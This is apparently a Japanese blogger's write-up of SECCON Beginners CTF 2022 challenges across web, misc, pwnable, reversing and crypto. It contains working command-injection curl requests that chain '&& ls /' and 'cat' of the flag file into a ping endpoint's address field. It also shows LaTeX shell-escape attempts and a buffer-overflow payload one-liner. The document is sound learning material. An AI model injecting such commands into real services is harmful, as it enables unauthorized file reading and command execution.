概要
SECCON Beginners CTF 2022 に参加した。軽い気持ちで参加したけど思ったより楽しくて夢中になってしまった。ちゃんと解けるようになりたい。
せっかくなので解きながら書いたものを残しておく。Writeupと書きつつ解けていないやつもある。
環境
- macOS Monterey
- Docker Desktop v3.5.2
- Google Chrome v102.0.5005.61
- Wireshark v3.4.2
web
✅ Util
- EchoのBindでクエリとパスパラメータを構造体に入れる方法
- ローカルで log を出しつつ動作を探った
- 【 fold 】コマンド――テキストを指定した幅で改行して出力する:Linux基本コマンドTips(165) - @IT
- tr コマンド | コマンドの使い方(Linux) | hydroculのメモ
コードを見るとコマンドインジェクションできそうな感じだった。
result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()
Dockerfile 見るとファイル名もランダムにしていそうだったので、とりあえずルート直下のファイル一覧を見てファイル名を割り出し、その後ファイルの中身を取るという手順でゲットした。
RUN echo "ctf4b{xxxxxxxxxxxxxxxxxx}" > /flag_$(cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 16 | head -n 1).txt
後ブラウザから行くと js でIPアドレスのバリデーションされてたからコマンドラインから直接 POST リクエストを送るようにした。
curl -XPOST -H'Content-Type:application/json' -d'{"address":"127.0.0.1 >/dev/null && ls /"}' https://util.quals.beginners.seccon.jp/util/ping
# => {"result":"app\nbin\ndev\netc\nflag_A74FIBkN9sELAjOc.txt\nhome\nlib\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n"}
curl -XPOST -H'Content-Type:application/json' -d'{"address":"127.0.0.1 >/dev/null && cat /flag_A74FIBkN9sELAjOc.txt"}' https://util.quals.beginners.seccon.jp/util/ping
# => {"result":"ctf4b{al1_0vers_4re_i1l}\n"}
❌ textex
だめだった奴ら
% 多分 -shell-escape オプションが必要
\input{""}
% 多分 -shell-escape オプションが必要
\input{|"ls"}
% 謎
\verbatimtabinput{../../requirements.txt}
\write18{date}
\pdf@system{date}
\documentclass{article}
\usepackage{iexec}
\begin{document}
\iexec{date/T}
\end{document}
❌ gallery
以下の様にパスパラメータを付けて flag ファイルの名前を取得するところまでは行けた(flag は除去されるが fla は除去されない&ファイル名に該当文字列が含まれていれば表示される)
res := make([]string, 0, len(files))
for _, file := range files {
if !strings.Contains(file.Name(), fileExtension) {
continue
}
res = append(res, file.Name())
}
https://gallery.quals.beginners.seccon.jp/?file_extension=fla
得られたパス
https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf
サーバ上のファイルサイズが大きすぎるようで、?で最大サイズまでパティングされてしまう。どうやって回避すればよいのか謎すぎる
ダメ元で ftp 接続しようとしたがだめ。
なんか見落としてるのか...
=> HTTP Range Requests を使うらしい。知らなかった。。。
参考: SECCON Beginners CTF 2022 作問者writeup - Qiita
misc
❌ phisher
- ホモグラフ攻撃 - Wikipedia
- 【pyocr】tesseract-ocr 日本語やロシア語など多言語を簡単にインストールする - Geek Travel Inc.
- README.md · master · World / OpenPaperwork / pyocr · GitLab
exmpale
-> examp1e
の様に違う文字だけど正しい文字の様に見せかける攻撃をホモグラフ攻撃って言うっぽい。
今回の問題についても、www.example.com
っぽく見えるけどぜんぜん違う文字列で構成された FQDN を送り込む事によって flag が得られるっぽい。
送信されてきた文字列を画像化してそれを OCR した結果を www.example.com
と比較して、一致したら送られてきた文字列に www.example.com
に含まれる文字が含まれるかを確認、含まれなかったら flag がゲットできる。
やったこと
-
ttl
ファイル(フォントが書かれているファイル)を見てみた - 何文字か入力してどんなふうに読み取られるのか試してみた -> ランダムに試していっても溶けなさそう
www.example.com
の画像から逆に別言語の文字列に変換してみる
# 以下でいろいろな言語の OCR ができるようになる
apt-get install tesseract-ocr tesseract-ocr-all
>>> import string
>>> import cv2 as cv
>>> import numpy as np
>>> from PIL import ImageFont, ImageDraw, Image
>>> tool = pyocr.get_available_tools()[0]
>>> image = 'phish/KhbVIBcnrDjfMzG.png'
>>> text = tool.image_to_string(Image.open(image), lang="eng")
>>> text = tool.image_to_string(Image.open(image), lang="rus")
>>> text
'млигу/.ехатре.сопт'
>>> tool.image_to_string(Image.open(image), lang="jpn")
'wwW.exaimple。com1'
>>> tool.image_to_string(Image.open(image), lang="deu")
'www.example.com'
>>> tool.image_to_string(Image.open(image), lang="fra")
'AUOUR E LR'
>>> tool.image_to_string(Image.open(image), lang="yor")
'www.ekample.com'
>>> tool.image_to_string(Image.open(image), lang="grc")
'Δ Δ Ξ 1}: 4.}}}}'
# 全種類試してみる
>>> from phisher import text2png, ocr
>>> for lang in langs:
... try:
... text = tool.image_to_string(Image.open(image), lang=lang)
... new_text = ocr(text2png(text))
... print(f"{lang}: {new_text}")
... if new_text == 'www.example.com':
... print(f'-----------------------> {lang}!!!')
... except:
... pass
...
結果
Arabic: www.example.com
-----------------------> Arabic!!!
Armenian: MCE aE
Bengali: Www.example.com
Canadian_Aboriginal: www.example.com
-----------------------> Canadian_Aboriginal!!!
Cherokee: www.example.com
-----------------------> Cherokee!!!
Cyrillic: AYT
Devanagari: www.example.com
-----------------------> Devanagari!!!
Ethiopic: PTT
Fraktur: www.example.com
-----------------------> Fraktur!!!
Georgian: www.example.com
-----------------------> Georgian!!!
Greek: eG ire
Gujarati: www.example.com
-----------------------> Gujarati!!!
Gurmukhi: NAR EL LRCIL
HanS: www.example.com
-----------------------> HanS!!!
HanS_vert: www.example.com
-----------------------> HanS_vert!!!
HanT: WAES Cu
HanT_vert: Pw eee
Hangul: AAO E11 M11)
Hangul_vert: Www.example.com
Hebrew: www.example.com
-----------------------> Hebrew!!!
Japanese: ???????????????
Japanese_vert: www.example.com
-----------------------> Japanese_vert!!!
Kannada: www.example.com
-----------------------> Kannada!!!
Khmer: www.example.com
-----------------------> Khmer!!!
Lao: www.example.com
-----------------------> Lao!!!
Latin: AAAS E LRT
Malayalam: www.example.com
-----------------------> Malayalam!!!
Myanmar: www.example.com
-----------------------> Myanmar!!!
Oriya: www.example.com
-----------------------> Oriya!!!
Sinhala: PN tne
Syriac: UU ASE Rd
Tamil: www.example.com
-----------------------> Tamil!!!
Telugu: www.example.com
-----------------------> Telugu!!!
Thaana: www.example.com
-----------------------> Thaana!!!
Thai: www.example.com
-----------------------> Thai!!!
Tibetan: www.example.com
-----------------------> Tibetan!!!
Vietnamese: www.example.com
-----------------------> Vietnamese!!!
afr: www.example.com
-----------------------> afr!!!
amh: NTE) HOTTA
asm: ee >Re
aze: vrvvvr.example.
aze_cyrl: vrvvvr.example.
bel: ynim.exaTpie.co
ben: 0/1/1,059111916
bod: 4,7210
bos: www.example.com
-----------------------> bos!!!
bre: ok teh ama em
bul: ee
cat: viV.example.com
ceb: www.example.com
-----------------------> ceb!!!
ces: AAA ela lose
chi_sim: www.exambple.co
chi_sim_vert: ???????????????
chi_tra: Wwww,.examiple,
chi_tra_vert: Feel 8
chr: ???????????????
cos: www.example.com
-----------------------> cos!!!
cym: www.example.com
-----------------------> cym!!!
dan: www.example.com
-----------------------> dan!!!
deu: www.example.com
-----------------------> deu!!!
div: \¥/#¥#¥/# 01111
dzo: Av et
ell: Ko o) rrw],
eng: www.example.com
-----------------------> eng!!!
enm: www.example.com
-----------------------> enm!!!
epo: www.example.com
-----------------------> epo!!!
est: www.example.com
-----------------------> est!!!
eus: UUA GOTZI ZIO
fao: www.example.com
-----------------------> fao!!!
fas: NANI AN
fil: www.example.com
-----------------------> fil!!!
fin: www.example.com
-----------------------> fin!!!
fra: AUOURELR
frk: www.example.com
-----------------------> frk!!!
frm: URS ETTTR
fry: www.example.com
-----------------------> fry!!!
gla: www.example.com
-----------------------> gla!!!
gle: www.example.com
-----------------------> gle!!!
glg: www.example.com
-----------------------> glg!!!
grc: A A = 1}: 4.}}}
guj: O/0/00# 8000101
hat: www.example.com
-----------------------> hat!!!
heb: ???????????????
hin: ee Cun
hrv: www.example.com
-----------------------> hrv!!!
hun: www.example.com
-----------------------> hun!!!
hye: ???????????????
iku: Ny aD)
ind: www.example.com
-----------------------> ind!!!
isl: www.example.com
-----------------------> isl!!!
ita: www.example.com
-----------------------> ita!!!
ita_old: www.example.com
-----------------------> ita_old!!!
jav: wuww.ekample.co
jpn: wwW.exaimple, co
jpn_vert: JIbrT=cs
kan: 1101 11.0(05730
kat: | hh el BD) ee
kat_old: ???????????????
kaz: ay Cs
khm: NVA S23 NTN
kir: MTMrM.,exaTp!e.
kmr: www.example.com
-----------------------> kmr!!!
kor: 12212. 00127
kor_vert: ???????????????
lao: O00?) oo],
lat: www.example.com
-----------------------> lat!!!
lav: www.example.com
-----------------------> lav!!!
lit: www.example.com
-----------------------> lit!!!
ltz: dE ET IEN
mal: ee
mar: NNT) Mn
mkd: mMusiuMexaTtp!e.coT
mlt: www.example.com
-----------------------> mlt!!!
mon: a bai a) tg oT
mri: www.ekample.com
msa: ag |
mya: 42 in. (0. |
nep: 1010 1110
nld: www.example.com
-----------------------> nld!!!
nor: www.example.com
-----------------------> nor!!!
oci: www.example.com
-----------------------> oci!!!
ori: 111418 -)€[
osd: MUNI Tia) JMC a
pan: LOA
pol: www.example.com
-----------------------> pol!!!
por: www.example.com
-----------------------> por!!!
pus: ???????????????
que: www.example.com
-----------------------> que!!!
ron: www.example.com
-----------------------> ron!!!
rus: mnury/.exaTpe.c
san: 11////0~) (
sin: TA
slk: Www.example.com
slv: WP Cr aL |
snd: ???????????????
spa: www.example.com
-----------------------> spa!!!
spa_old: www.example.com
-----------------------> spa_old!!!
sqi: vrurur.example.
srp: MAMA ETO AKT
srp_latn: www.example.com
-----------------------> srp_latn!!!
sun: a a
swa: I
swe: www.example.com
-----------------------> swe!!!
syr: NCO ie
tam: ???????????????
tat: www.example.com
-----------------------> tat!!!
tel: ???????????????
tgk: SAL dL
tha: 00096110 [1
tir: 0(4-) + Till
ton: www.example.com
-----------------------> ton!!!
tur: www.example.com
-----------------------> tur!!!
uig: ???????????????
ukr: Lach (as
urd: NTT
uzb: www.example.com
-----------------------> uzb!!!
uzb_cyrl: www.example.com
-----------------------> uzb_cyrl!!!
vie: www.example.com
-----------------------> vie!!!
yid: ???????????????
yor: www.ekample.com
すべて試してみたがアルファベットのものしかないのでアプローチが違いそう
=> フォントがわかっているので、Character Map を見てそれっぽい文字を探すらしい。
参考: ctf4b_2022_satoki_writeups/misc/phisher at master · satoki/ctf4b_2022_satoki_writeups
✅ H2
main.go
ではサーバが実装されていて、URL が正しいときにだけ x-flag ヘッダーがつくっぽい。
pcap ファイルが含まれていておそらくこれが main.go サーバとの通信記録だろうということで Wireshark で見てみた。100万パケット以上あっておそらく隠されているだけだろうということでヘッダで絞ったら見つかった。
http2.request.header contains "x-flags"
✅ hitchhike4b
なんかよくわからんけどできた
help> __main__
Help on module __main__:
NAME
__main__
DATA
__annotations__ = {}
flag1 = 'ctf4b{53cc0n_15_1n_m'
FILE
/home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py
help> app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc
Help on module app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc:
NAME
app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc
DATA
flag2 = 'y_34r5_4nd_1n_my_3y35}'
FILE
/home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py
pwnable
❌ BeginnersBof
gdb の準備
apt update && apt install -y git
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
apt install -y gdb
gdb
disass main # アセンブリコード表示
詳解セキュリティコンテスト | 梅内翼, 清水祐太郎, 藤原裕大, 前田優人, 米内貴志, 渡部裕 | 工学 | Kindleストア | Amazonを参考に以下を流し込むというところまでたどり着いたがうまく流し込めず...。
python3 -c "import sys; from struct import pack; sys.stdout.buffer.write(b'a'*0x28+pack('<QQ', 0xdeadbeef, 0x4011e6))"
reversing
✅ Quiz
docker run -it -v $(pwd):/opt/app ubuntu:latest /bin/bash
# docker 内で
cd /opt/app
./quiz
# クイズの最後が strings コマンドだったのでヒントだと思った
apt update && apt install binutils
strings quiz
# => フラグゲット
❌ WinTLS
strings chall.exe |grep -e { -e }
# c4{fAPu8#FHh2+0cyo8$SWJH3a8X
# tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}
❌ Recursive
docker run -v $(pwd):/opt/app ubuntu:latest /bin/bash
apt update && apt install -y build-essential binutils file git
apt install strace ltrace
apt install gdb
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
strings recursive
ぽい出力
# ==>
FLAG:
%39s%*[^
Incorrect.
Correct!
:*3$"
ct`*f4(+bc95".81b{hmr3c/}r@:{&;514od*<h,n'dmxw?leg(yo)ne+j-{(`q/rr3|($0+5s.z{_ncaur${s1v5%!p)h!q't<=l@_8h93_woc4ld%>?cba<dagx|l<b/y,y`k-7{=;{&8,8u5$kkc}@7q@<tm03:&,f1vyb'8%dyl2(g?717q#u>fw()voo$6g):)_c_+8v.gbm(%$w(<h:1!c'ruv}@3`ya!r5&;5z_ogm0a9c23smw-.i#|w{8kepfvw:3|3f5<e@:}*,q>sg!bdkr0x7@>h/5*hi<749'|{)sj1;0,$ig&v)=t0fnk|03j"}7r{}ti}?_<swxju1k!l&db!j:}!z}6*`1_{f1s@3d,vio45<_4vc_v3>hu3>+byvq##@f+)lc91w+9i7#v<r;rr$u@(at>vn:7b`jsmg6my{+9m_-rypp_u5n*6.}f8ppg<m-&qq5k3f?=u1}m_?n9<|et*-/%fgh.1m(@_3vf4i(n)s2jvg0m4GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
crypto
✅ CoughtingFox
大した計算量にならなそうだったのでゴリ押し。 -> と思ってたけどアプローチは正しかったっぽい。
import math
cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]
flag = [0 for _ in range(len(cipher))]
for c in cipher:
for i in range(len(cipher)):
f = math.sqrt(c - i) - i
fi = math.isqrt(c - i) -i
if (f - fi) < 1e-5:
flag[i] = int(f)
continue
for f in flag:
print(chr(f), end="")